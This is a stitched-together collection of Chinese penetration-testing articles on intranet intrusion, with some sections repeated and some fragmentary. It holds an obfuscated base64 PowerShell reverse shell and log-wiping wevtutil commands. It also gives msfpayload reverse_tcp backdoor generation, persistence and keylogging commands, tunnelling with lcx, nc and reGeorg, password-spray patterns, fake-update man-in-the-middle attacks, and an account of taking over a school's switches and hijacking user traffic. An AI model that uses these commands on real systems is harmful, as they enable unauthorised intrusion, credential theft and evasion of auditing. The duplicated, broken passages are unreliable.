]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = (

::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
如图: 刚开始我想通过-noprofile选项因该可以绕过这个限制,实践后发现不行,还是会在日志里看到,然后我又配合用-enc选项进行base64编码,操作如下:
#!bash powershell -ep bypass -NoLogo -NonInteractive -NoProfile -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQA4AC4AMQA4ADAALgAxADgAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgAyADUANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA0ACgANAAoA
发现虽然日志还是会有记录,但是不会在CommandLine=里看到脚本代码的细节了,多多少少算一个进步(此刻感觉自己屌屌的)。 当然,最绝对的办法,还是在目标上用完powershell后,来一下
#!bash wevtutil cl "windows powershell" wevtutil cl "security" wevtutil cl "system"
当然如果权限低,就没办法了:( 用powershell做攻击的好处是显而易见的,省去了免杀(我测试的时候是这样的),方便传输(注入的时候),系统自带(win7以后就支持了)。但是即使管理员不像上面这样开启审核,默认还是有痕迹的,有机会下篇再细说。有喜欢渗透的小伙伴都加我讨论,自己搞太慢了。
参考文章:

甚至Invoke-Mimikatz执行的结果也会记录,如图 再次提醒我们,该删日志,一定要删,外面应该有能删指定日志的工具了,不过我没见到,有的发我一份。

自启动

Powershell经常通过注册表,开始菜单,或者计划任务来实现自启动的目的,通常用sysinternals的autorun就能找到了。另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以达到和C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一样的效果。
文章参考:

https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf' rel='nofollow'/> Select-String password
意思是搜索C:\下所有TXT里包含password的文件,可以在EID 4103里看到返回结果,如图 甚至Invoke-Mimikatz执行的结果也会记录,如图 再次提醒我们,该删日志,一定要删,外面应该有能删指定日志的工具了,不过我没见到,有的发我一份。

自启动

Powershell经常通过注册表,开始菜单,或者计划任务来实现自启动的目的,通常用sysinternals的autorun就能找到了。另外C:\Users\\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1可以达到和C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1一样的效果。
文章参考:

https://www.blackhat.com/docs/us-14/materials/us-14-Kazanciyan-Investigating-Powershell-Attacks-WP.pdf


https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf

背景

为什么是以进入内网作为一个目标来讨论,因为我认为站在攻击者的角度来说攻击的核心目标是获取数据。而相对来说几乎攻击者想要的所有数据都在内网,而相对来说本身内网的安全防御能力就几乎为0。所以从外部寻找一个突破口进入内网是整个获得数据的过程中最关键的一个环节。 那么基于这样一个话题本来我想去讲的是到底有哪些从外围进入内网的手段,我初步的梳理了一下,我把它们分为两大类:合法入口和非法入口。而合法入口其实就是本身企业在给员工开放的一个从外部到企业内部的通道,这里面主要包括vpn、mail、wifi;在vpn和mail这两个入口来看我们看到的大部分攻击方法主要是利用用户名( http://zone.wooyun.org/content/18372) 及密码的大数据来进行攻击的。而wifi这一块,我想想wifi万能钥匙这个就是个典型入口了;
http://www.wooyun.org/bugs/wooyun-2015-0108465
而非法入口其实利用一些部署在边界上的应用或者主机及服务相关的漏洞;这里面就包含着各种常见的漏洞了,我就先不在这里细说。 而我这篇文章里也不太想把上面所描述的所有的内容全部来细说一遍,篇幅有限不可能每个点都讲的特别相信,而且很多东西我相信之前很多人都讲了很多,可能我也不能讲的比他们更好,于是我更想讲一些大家可能没有讲或者讲的比较少的东西。那么回到主题是针对大型互联网公司来说,那么我认为与这样的高手过招重要的在取其命门。所以终极问题来了,大公司的命门在哪?带着这个终极问题我们来往下分析。

成也边界,败也边界

而大公司这个命门在哪?我们知道既然要从外围进入内网,那么必然要做的一件事情就是跨越边界,所有这个命门我们也就自然应该在企业的内外网边界上来寻找。 那为什么企业需要在内外网之间部署这样一个边界呢?我们只要作为一个大企业来说他会有上百甚至上千个业务线,而安全团队或许只有几十人,那这几十人要保证这上千个业务线的安全,显然如果用布点的方式肯定无法完成覆盖的,所以企业在思考如何进行防御的时候会选择区域性防守。 所谓区域性防守就是把重点需要保护的业务&数据放到一个指定的区域,,让后对这个区域进行隔离,并指定好进入这个区域的防火墙策略。然后定期对这个区域进行安全检查。 如果这样实施的很好,看起来一切都很完美。但是事实上并不尽人意,事实是这样的,在企业内部通常业务部门是会比安全部门强势的,这一点我相信大家都知道,那么就会导致一个问题,安全部门总想着把业务圈起来,各种严格的策略和规范实施上去,而业务部门在业务快速迭代的背景下就会很难去严格执行你的策略。他们会要求你针对他特殊的业务场景来制定专门的策略,甚至部署到飞隔离区域,而且这样的情况不在少数。如此一来安全部门需要维护的策略和规范就会越来越多。而这将直接导致策略及规范的执行越来越差。既然如此,我们都了解了企业防守上存在的一些问题,那么如何去实施攻击测试呢? 上面我们说到两个很重要的环节,一个是制定规范并执行,一个是对规范的执行结果进行合规性检查(安全检测)。那么这两个环节可能会出现什么样的问题呢?一个是内网业务对外,直接脱离边界控制;一个是合规性检测的盲区,弱点扫描。

攻击思路之内网业务直接对外

我们先来看一张图: 从图中我们可以看到当我对一个公网ip的80端口发起http请求时,他会返回一段js代码,这段js执行以后会直接跳转到http://passport.oa.com/passport/... 这样一个地址,但是我却发现passport.oa.com这样一个地址实际上是无法访问的,因为他指向了一个内网IP。那这样看起来就是一个很奇怪的问题了。为什么访问一个公网IP却要跳转到一个内网的地址,我们在仔细看这个域名的是passport.oa.com;从命名来看似乎是说oa(办公网)的统一登陆认证地址?这意味着什么呢?我们大胆的猜想一下,是不是因为这个公网ip对应的服务器实际上是部署着一个内部的业务,这样解释起来貌似比较靠谱啊?为了验证我的想法,我对该公司的所有C段开放http服务的IP进行了批量的探测,发现了一些同样有意思的东西: 这个返回同样是一段js判断,很直接的逻辑,如果你访问的host是指向内网(.oa.com)那么他会跳转到一个内部的服务地址,如果你访问的host的是指向外网(.qq.com);那么他会跳转到一个外部的服务地址。那么我接下来很简单,只需要对这个ip进行绑定host来测试即可: 从返回内容来看确实是一个内网业务。 我们再来深入的分析一下为什么会出现这样一些问题,我认为大概是有如下几种原因:
1 上线流程的问题,就是这些本来应该部署在内网的应用是如何部署到一个具有外网访问权限的机器上的,这在上线前的安全检查是有问题的。 机器网络权限的管理的问题,也许这个机器申请了一个短期的外网权限,但是到期了并未下线,导致其他人在使用这个服务器的时候都也许不知道这个机器具备外网权限。

内网业务对外的漏洞挖掘

首先需要获取攻击目标企业的资产信息,即Ip及域名信息;然后通过获取到的外网域名及IP信息获取banner信息。然后通过判断返回banner信息的特征来判断该IP/域名是否存在内网业务对外的问题,具体的一些特征信息主要有如下几点:
1 返回的headers里面的特征,比如Location字段内容直接跳转到内网ip及域名。 返回的body里面的特征:body里面包含内网ip或者域名;或者一些关键字,比如title里带内部xxx系统等等
除此之外甚至可以考虑对一些内部的常用域名强行绑定公网ip进行枚举。然后还是通过回去回包的特征来判断。 相关案例:
http://www.wooyun.org/bugs/wooyun-2015-095277

http://www.wooyun.org/bugs/wooyun-2015-0121069

攻击思路之弱点扫描

弱点扫描是一个典型的企业合规性检测的盲区,即备份文件、测试代码文件的检测。这个完全依赖于字典的暴力枚举来进行检测。通常一些开发的测试文件,运维的备份文件spider是无法抓取到的,只能靠字典来暴力枚举,那么在进行黑盒的安全检测的时候就会出现两个问题:
-暴力枚举的字典有限,倒不是说企业写不出很长的字典,而是说企业在进行扫描的时候需要周期性的扫描几千上万个域名、ip;那么如果字典文件太大的话必然导致扫描周期很长,占用过多资源。 一些测试文件没有明显的漏洞特征,需要辅助人工判断,大企业目标太多不可能过多的人工参与,从而导致漏报。
那么基于以上两个硬伤,攻击者可以先对目标企业的域名及ip进行一轮字典的枚举,字典可以尽量大,因为攻击者其实不需要太多的考虑扫描时间,可以慢慢跑,然后对扫描结果的判断时可以写一些宽松的策略,比如只要判断某个文件是否存在,且返回内容就几个字节,或者存在一些敏感的关键字,比如内部系统、测试的数组结构等等就先记下来,然后辅助一些人工的判断。当然在人工判断的时候也是有技巧的,比如你可以一次在一个页面iframe 50个潜在目标来进行肉眼+经验的识别。 下面给一些案例,就是通过这种方式发现的:
http://wooyun.org/bugs/wooyun-2015-092833

http://wooyun.org/bugs/wooyun-2015-0122949

写在最后

对于一个大型互联网公司来说,其实并不是因为他们安全做的不够好,而是守需要考虑的是一个面,而攻只需要一个点,对一个点进行深入的挖掘,一定可以找到突破口,而本身企业的安全建设其实也是一直在提高攻击门槛,并不是无懈可击。 而不管是对于攻击者还是防守者来说,本身对于安全问题的发现能力是决定着这场持久的攻防战中最核心的决定因素,正是如此,大家可以对tangscan有一些期待,希望联合所有白帽子的力量,tangscan能够拥有最强的安全问题的发现能力。

前言

最近一段时间内网渗透做的比较多,刚好今天比较有时间,就总结一下内网中转发的一些工具的使用。这里主要介绍了lcx、nc 、sSocket、tunna、reGeorg几款平时用的比较多的工具,网络上也有很多关于他们的介绍,而且也非常不错,但是并没有统一起来,写这篇文章就算是一个小小的汇总吧。

LCX转发

内网机器上执行:
lcx.exe –slave
公网IP +端口 内网IP +端口
例如:lcx.exe –slave 192.168.43.142 51 192.168.43.137 3389
将内网(192.168.43.137)的3389端口转发到公网(192.168.43.142)的51端口 然后在公网的机器上: Lcx.exe –listen 监听51端口,转发到公网机器的3389端口 例如:Lcx.exe –listen 51 3389 这个时候已经将内网的3389转发到了公网机器的3389端口,我们在本地机器上远程公网IP+3389 ,就连接上了内网机器的3389

NC 反弹CMDshell

本机:192.168.43.142(win7) 远程机器:192.168.43.137(xp) 正向连接: 在远程机器上(t参数可以省略) 在本地机器上 成功之后,本地机器就获得了一个远程机器的shell 反向连接: 在本机运行上 在远程机器上(t参数可以省略) 然后成功之后,我们在本地机器上看一下,已经获得了远程机器的cmdshell 这里还有前人总结的十种反弹shell的方法,很不错
先在vps 执行
rcsocket.exe –l 1088 –p 8888 –vv
, 监听1088端口 内网机器执行.
/rssocks –vv –s 192.168.30.103:8888(VPS)
成功,则会看到会话建立 设置代理,让本机可以通过VPS的
1088
端口访问内网机器。 本机上
ssh 192.168.43.136
内网主机 成功ssh到内网机器

Tunna 正向代理


链接文字|参考|http://drops.wooyun.org/tools/650' rel='nofollow'/>https://sourceforge.net/projects/ssocks/
先在vps 执行
rcsocket.exe –l 1088 –p 8888 –vv
, 监听1088端口 内网机器执行.
/rssocks –vv –s 192.168.30.103:8888(VPS)
成功,则会看到会话建立 设置代理,让本机可以通过VPS的
1088
端口访问内网机器。 本机上
ssh 192.168.43.136
内网主机 成功ssh到内网机器

Tunna 正向代理


链接文字|参考|http://drops.wooyun.org/tools/650

proxy.py -u http://xxx.com:206/test /conn.jsp -l 8888 -r 22 -v -s 然后在xshell中执行 ssh 127.0.0.1 8888,看到下面的样子,说明已经成功了 同样的,如果内网的机器是windows,就把3389转出来 proxy.py -u http://xxx.com:206/test /conn.jsp -l 8888 -r 3389 -v 其中几个参数的解释:
-l 表示本地监听的端口 -r 远程要转发的端口 -v 详细模式
另外,如果脚本传到了内网A机器上,但是想登录内网B机器,那么可以-a参数指定机器 将内网中172.16.100.20主机的3389转发到本地 python2.7 proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389

reGeorg+proxifier 正向代理

reGeorg是reDuh的继承者,利用了会话层的socks5协议,效率更高一些。这也是平时用的比较多的工具。 先将reGeorg的对应脚本上传到服务器端,直接访问显示“Georg says, 'All seems fine'”,表示脚本运行正常 运行python reGeorgSocksProxy.py -p 8888 -u http://www.xxx.com/tunnel.php 将proxifier打开,在Proxy Server中这样配置 然后就可以在本地访问内网的机器了 成功3389到内网机器

前言

之前看到微博有人私信我说内网渗透的技巧,zone也有很多小伙伴问了一些内网渗透的问题,所以我就斗胆写了这篇文章,有不对的,还请各位斧正 整个内网渗透肯定不是一篇两篇文章能够讲述清楚的,所以标题写作随想,想到哪儿写哪儿

内网代理和转发


*简单区分一下正向代理和反向代理

1.1 正向代理(Forward Proxy)

Lhost--》proxy--》Rhost
Lhost为了访问到Rhost,向proxy发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。
1.2 反向代理(reverse proxy)

Lhost<--->proxy<--->firewall<--->Rhost
和正向代理相反(废话),Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透
1.3 简单区分
正向代理是我们自己(Lhost)戴套(proxy)插进去,反向代理是她(Rhost)主动通过上位(proxy)坐上来(Lhost) zone里内网渗透代理问题有人问了如何代理进行内网渗透的问题 诚然,要进行内网渗透,代理是我们最先需要解决的问题,常见的代理方式大概可以分为这么几种:
http://zone.wooyun.org/content/18683

2. VPN隧道/SSH隧道
这种代理方式需要比较高的权限(system/root)直接使用系统功能来开启内网代理的隧道,配置VPN都比较简单,这里不做赘述,我们看一看通过SSH隧道进行代理
#!bash ssh -qTfnN -L port:host:hostport -l user remote_ip #正向隧道,监听本地port ssh -qTfnN -R port:host:hostport -l user remote_ip #反向隧道,用于内网穿透防火墙限制之类 SSH -qTfnN -D port remotehost #直接进行socks代理 参数详解: -q Quiet mode. 安静模式 -T Disable pseudo-tty allocation. 不占用 shell 了 -f Requests ssh to go to background just before command execution. 后台运行,并推荐加上 -n 参数 -N Do not execute a remote command. 不执行远程命令,端口转发就用它了~
有时候,我们手边没有端口转发的工具,也可以通过ssh来做端口转发
#!bash ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发 ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
大家可以参考这篇paper,非常棒
http://staff.washington.edu/corey/fw/ssh-port-forwarding.html

3. 通过HTTP service的代理
简单来说就是在目标服务器上传一个webshell,通过shell来做所有的流量转发到内网,常见的几个工具有reGeorg,meterpreter,tunna等等,甚至直接写一个简单的代理脚本,在自己机器上配置一下nginx直接进行反向代理
reGeorg
自带的说明已经很清楚了
(see wiki) Step 3. Hack the planet :)
注意安装urllib3即可(regeorg很方便,我基本都用这个)
meterpreter
msf非常强大,在进行内网渗透的时候不失为一个好的选择,要用它进行代理,可以直接生成一个可执行文件后门,然后返回meterpreter,也可以生成一个webshell来返回meterpreter,关于meterpreter,Dm老师已经说的非常清楚了metasploit 渗透测试笔记(meterpreter篇)
3.1 windows生成后门

#!bash msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= X > shell.exe

3.2 Linux生成后门

#!bash msfpayload linux/x86/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t elf -o shell

3.3 php后门

#!bash msfpayload php/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -e php/base64(可简单编码) -t raw -o base64php.php
获得meterpreter会话后,就是msf尽情施展的时候了,最常用的办法,添加路由表后,直接在会话中用msf的各种攻击模块进行扫描(注意,这里是可以进行跨网段扫描的) 如果单纯只是想要进行简单的代理工作,auxiliary/server/socks4a模块即可 这里讲到meterpreter所以多说一句,之前说的ssh隧道,如果嫌命令难得记,也可以简单的通过msf来建立tunnel
#!bash load meta_ssh use multi/ssh/login_password 设置好参数后exploit即可获取会话进行代理操作
直接通过webshell和nginx反向代理
http://zone.wooyun.org/content/11096' rel='nofollow'/>ashx|jsp|php) to a webserver (How you do that is up to you) Step 2. Configure you tools to use a socks proxy, use the ip address and port you specified when you started the reGeorgSocksProxy.py
** Note, if you tools, such as NMap doesn't support socks proxies, use
(see wiki) Step 3. Hack the planet :)
注意安装urllib3即可(regeorg很方便,我基本都用这个)
meterpreter
msf非常强大,在进行内网渗透的时候不失为一个好的选择,要用它进行代理,可以直接生成一个可执行文件后门,然后返回meterpreter,也可以生成一个webshell来返回meterpreter,关于meterpreter,Dm老师已经说的非常清楚了metasploit 渗透测试笔记(meterpreter篇)
3.1 windows生成后门

#!bash msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= X > shell.exe

3.2 Linux生成后门

#!bash msfpayload linux/x86/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -t elf -o shell

3.3 php后门

#!bash msfpayload php/meterpreter/reverse_tcp LHOST= LPORT= R | msfencode -e php/base64(可简单编码) -t raw -o base64php.php
获得meterpreter会话后,就是msf尽情施展的时候了,最常用的办法,添加路由表后,直接在会话中用msf的各种攻击模块进行扫描(注意,这里是可以进行跨网段扫描的) 如果单纯只是想要进行简单的代理工作,auxiliary/server/socks4a模块即可 这里讲到meterpreter所以多说一句,之前说的ssh隧道,如果嫌命令难得记,也可以简单的通过msf来建立tunnel
#!bash load meta_ssh use multi/ssh/login_password 设置好参数后exploit即可获取会话进行代理操作
直接通过webshell和nginx反向代理
http://zone.wooyun.org/content/11096


4. other tricks
python,ruby,perl等直接建立socks连接 lcx,tunna,htran等等进行端口流量转发 shadowsocks,tor,goagent等等 直接现成的小东西:ssocks(一次比赛的时候死猫跟我推荐的)正向代理,反弹socks5均可
http://sourceforge.net/projects/ssocks/?source=navbar

内网环境探测和信息收集

因为一个完整的渗透很难涵盖各种情况,所以这里讲的可能比较散,基本都是一些小技巧和思路 1.Nmap代理扫描进行主机发现
proxychains nmap ***
如果是meterpreter会话进行的代理,可直接通过/usr/share/metasploit-framework/modules/auxiliary/scanner脚本来扫描即可 2.查看hosts获取内网主机信息 3.直接攻击网段路由或交换机,简单绘制内网的结构(我在从TCL某漏洞看内网渗透教学分享之内网信息探测和后渗透准备中就是获取了cisco路由的privilege15权限,得到了内网结构,进一步进行跨vlan攻击) 4.多尝试交换机snmp弱口令,一旦成功,内网结构清晰 5.关于snmp渗透
http://baike.baidu.com/view/2899.htm
使用了snmp管理的设备,只需要community string即可,所以针对这个string爆破或者社工都是可行的,默认public/private 首先进行161端口扫描,发现snmp开放情况,通过弱口令查看设备信息,在oid中读取设备密码
http://www.wooyun.org/bugs/wooyun-2013-021964

https://github.com/grutz/h3c-pt-tools
6.尝试从主机的用户目录或者管理运维邮箱寻找敏感信息(某次渗透即是keylogger运维后在测试机桌面获取到拓扑和网段) 7.通过resolv.conf找到内网dns服务器,或者字典穷举dns 8.注意分析用户的.bash_history,一般可以分析出用户的使用习惯,纪录等,获取~/.shh/,尝试配合history的连接纪录直接通过密钥登陆其他机器

内网渗透的常见攻击技巧

通过之前的信息收集和探测,判断出主要的业务机器,如OA,dbserver,利用ssh信任,连入机器后导出员工的userlist,做成针对性的字典,大部分内网的安全性都是脆弱的,且最容易出问题的就是口令安全(大公司也不例外)
%username%1 %username%12 %username%123 %username%1234 %username%12345 %username%123456
主要对ssh,dbserver,vnc,ftp进行爆破 对开了web service的server进行常规渗透,有可以减少工作量的办法就是先对机器批量识别banner,通过banner判断出cms或中间件,直接利用exp 中间人攻击 常用ettercap,不建议做arp的mitm,可以尝试dhcp mitm或者icmp mitm 也可以猥琐一点,劫持插件,攻击网关,或者利用evilgrade去伪造软件更新(如notepad++),然后捆绑上后门,直接打下工作机器,进入办公网 简单配置后用msf生成后门,start即可配合ettercap使用伪造软件更新了 常见服务漏洞攻击 smb/ms08067/ipc$/NetBIOS………… 但是在针对这些比较古老的漏洞攻击时,很可能有AV拦截,所以在不同场景遇到的坑都不一样 比如之前在西电DM牛告诉我,有AV,如果直接利用psexec返回会话,即会拦截,这时就可以利用powershell来bypass
http://drops.wooyun.org/tips/3353

后渗透准备和扩大战果

一次完美的内网渗透肯定不是能够一次性完成的,因为整个过程需要管理员的"配合"(口胡。。。)所以后渗透准备时很有必要的
1. 后门准备
msf的后门已经不错,只需要稍加改造就能很好满足我们的需求 普通msfpayload生成的后门不是持续性的,不利于我们下次继续工作,所以需要一个持续性后门 msf的持续性后门有两种,通过服务启动(metsvc)和通过启动项启动(persistence) 通过服务的后门有个弊端,服务名称是meterpreter,利用方式是: 上传后门,通过metsvc安装服务
#!bash meterpreter > run metsvc ...(设定端口,并且上传后门文件) use exploit/multi/handler set PAYLOAD windows/metsvc_bind_tcp exploit
通过启动项的利用方式:
#!bash meterpreter > run persistence -X -i 10 -p port -r hostip use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp exploit
当然,直接生成的后门有可能会被杀,所以这里我推荐一个很不错的工具,veil,之前再一次小型apt中用这个生成了的后门直接bypass了360 linux下有两个常用的后门 mafix rookit和Cymothoa,后者听说可以克隆root用户,不过大部分的backdoor基本都相当于一个加密nc,会新开端口,所以如果webshell存活,可以直接考虑用webshell维持权限
2. 键盘记录
keylogger在内网渗透过程中(尤其是比较大的内网),起到很关键的作用,因为搞定一个密码,有可能就搞定了一个网段 ixkeylog是我常用的一个,linux>=2.63均可使用 或者使用meterpreter会话的自带键盘记录功能
keyscan_start keyscan_dump
用meterpreter有个好处,就是在win中可以做内存注入,不会创建进程 这里说一个小tips,如果觉得keylogger动作大,可以进系统后把一些你需要的管理工具,如navicat,putty,PLSQL,SecureCRT之类全部选成记住密码
3. hash
mimikatz,不用多说,利用meterpreter可以直接load模块 Quarks PwDump wce

something else

内网渗透涉及的面很广,本文主要说到的是一些很简单的问题和常规的思路 尚未谈到的 域渗透 打印机 办公网嗅探 入侵日志清理等等 如果有机会,日后慢慢补全

前言

在安全发展初期,企业和一些个人使用杀毒软件进行安全防护,如卡巴斯基,symantec等,安全人员使用免杀这项技术来对抗杀软的检查。现如今,安防软件采用各种手段来保护内网安全,如网络流量分析,软件行为分析,网络行为分析等,提高了内网的安全性。 同时在渗透过程中经常遇到一种内网结构,由数台mac,linux和windows个人机组成的混合内网,一种扁平化结构。
windows域与扁平化网络结构对比图
这种扁平化的网络难以管理和维护。并且给安全测试人员带来了困扰。渗透这些网络,就不能使用传统域渗透思路,进入域,获取域管理员权限,控制域控。 去年Google宣布,放弃内外网结构,将所有网络当做外网对待。这种访问模式要求客户端是受控的设备,并且需要用户证书来访问。访问有通过认证服务器、访问代理以及单点登录等手段,由访问控制引擎统一管理,不同用户、不同资源有不同的访问权限控制,对于用户所处位置则没有要求。也就是说,无论用户在Google办公大楼、咖啡厅还是在家都是一样的访问方式,过去从外网访问需要的VPN已经被废弃。而所有员工到企业应用的连接都要进行加密,包括在办公大楼里面的访问。可以说,Google的这种模式已经彻底打破了内外网之别。(援引于http://www.freebuf.com/news/67346.html) 所以针对传统网络结构以及包括这种无内网的网络结构提出一种新的渗透思路,同时能对流量行为检测有一定的规避作用。受到google的启发,如果渗透也不再关注内外网结构,不再专注于内网渗透,把对于外网的思路完整的放在渗透中,自始至终,一直使用外网渗透方式,是否就能渗透特殊的网络并且能在一定程度上逃避网络行为检测。开始探索,提出一个完整的渗透方案 该方案就是把思路更多的放在网络基础设备上,如Router,Switch等基础网络设备。攻击方式,就像NSA的TAO系统一样,检查流量,控制流量,最后利用流量。

渗透初探

基于这样的渗透思路,开始尝试寻找试验目标。 关于试验用目标,有几点要求,首先是在一个工作组环境中,(其次)拥有较多的主机或者较大网络。经过不断寻找,成功渗透进一个满足我需求的内网。 目标是一个学校,渗透的过程比较平常,注入,上shell,反弹不成功,正向反弹,控制服务器,没有太多的亮点。 然后开始针对网络设备进行攻击。利用正向反弹工具,将我的kali接入了内网,定向攻击网关设备。利用snmp的弱口令,直接获取了三层交换的控制权限。 ipconfig /all结果截图: 执行snmpwalk读取密码: 成功读取到密码

注:kali的snmpwalk 不能利用proxychains走socks5代理,攻击内网机器,暂不清楚原因。

这里需要多说一下,我并没有直接进行固件级别的EXP测试,因为在exploit-db上的路由器固件的远程命令执行exp并不多,有很多的exp并没有公开,并且由于自己没有构造EXP的能力,遂放弃通过EXP获取权限的思路。

收集分析网络基础信息

通过正向代理访问网关,成功telnet连接到设备: 然后立即查看所有配置: 查看版本信息: 查看设备的IP地址: 查看活动主机: 获取完基本信息之后,进行简单分析,华为的9306,三层交换机,查看到的下辖的用户不多,只有160多个,可能不准确,因为该时间段为非办公生活时间段。然后梳理流量线路,朝着外网方向,继续探索,又获取一台ruijie ES2000GS的控制权限,之后的机器不允许访问,无法继续往下拓展,总结如下 华为的9306应该是一层楼的或者一栋楼的汇聚,ruijie ES2000GS应该是一栋楼或者一个小园区的出口,校园核心的双交换网络或者出口路由器都不能被telnet访问。之所以这样分析,因为在已经控制的机器上暂未发现任何一个公网IP地址;链接数、活跃主机数量都处于一个较低的量级;发现了nat的配置,但是并没有公网映射;所以只能这样简单的判断。

获取内网用户详细信息

为了获取这个详细信息,就必须要对内网流量进行分析,为了完成这个目的,需要在内网路由器,与公网的Ubuntu之间建立了一个隧道。在准备阶段,预备了以下几种隧道协议部署方案:
协议|安全性|PAT穿透 GRE |不加密|否 PPTP|加密|是 L2TP|不加密|是 IP-SEC|加密|否 L2TP over IPSEC|加密|是
由于已经控制的设备没有公网IP地址,没有控制实现NAT功能的网络出口设备,就必须选择能穿越PAT的隧道。所以就只能在L2TP ,L2TP over IPSEC,PPTP中选择一个,最终选择了L2TP。因为锐捷经过测试发现不支持PPTP时,L2TP over IPSEC配置建立隧道导致设备不稳定,可能是设备自身的原因,在本地模拟环境测试时正常。 准备配置L2TP隧道,在本地的模拟环境上进行了部署,都能连通。但是到了设备上,报错说不支持命令,并且virtual-ppp接口无法添加配置,至今未找到原因。最后直接图形化配置完成,锐捷提供了L2TP VPN的图形化配置界面,很简单。 在想分析流量的时候,出现一个问题,原计划是使用ip flow,但是该协议是cisco私有协议,锐捷与华为都不支持,并且笔者对华为的IP STEAM不熟悉,没有很好的解决方案,在准备进行完整引导流量的准备时,发现锐捷的网关设备,可以生成流量报表。 对统计好的流量大概分析后,对内网的流量有了一个大概的认识,HTTPS流量占了日常网页流量的很大部分,并且发现了内网有较大规模部署360安全大礼包。 然后定向劫持一些腾讯的http网页,利用小工具,将beef代码插入到网页中,进行基本信息的获取。由于较多网页为HTTPS,并没有完善方案,所以收集到的信息很少。 这里需要多说一句,我劫持流量的方式是利用MQC或者添加路由,进行抓取,引导流量。没有使用Switch端口镜像配置获取流量,像(http://drops.wooyun.org/tips/649)该文章说的方式。并且在这里最大程度的反对大家使用这种方案!因为在cisco,juniper和huawei设备上,端口镜像将会导致DST端口或者VLAN失去承载正常业务数据的功能。简单说就是,进行端口镜像配置,流量被镜像到的端口将不再具有正常通信功能。如果不是经过严密讨论设计之后得出的方案,还是劝大家别去考虑该方法。 然后利用一些能找到的一些EXP,进行挂马。开始没有上线的,将马换成powershell empire的exe之后,终于有了一台上线的。分析可能是由于EXP和木马没有进行免杀,并且机器上有安装360或者一些其它的杀软,直接导致EXP与木马被杀。 因为只是验证性的渗透,使用的木马和EXP全部是网上公开的,并且没有准备特定场景的定向钓鱼,所以只能获取个别机器的控制权限。但是如果经过一些准备,在完全控制了用户流量这种情景下,种马不会特别难。 之后我试图进行内网控制扩展,即尝试渗透本园区之外的机器。结果两台设备上没有运行任何路由协议,路由配置就一条默认路由指向出口,其他的路由都是本地直连路由。 之前准备的方案是进行路由协议的劫持,或者称为路由表的优化更为确切,就是利用协议特性,将我变成必经之路,获取内网其他区域的流量。该设计方案并不关心路由协议,不论是OSPF,EIGRP,RIPv2或者是混合网络,只要他和其他机器之间运行着某种路由协议,就能完成路由的劫持。很遗憾,这个环境中不能实地测试了。 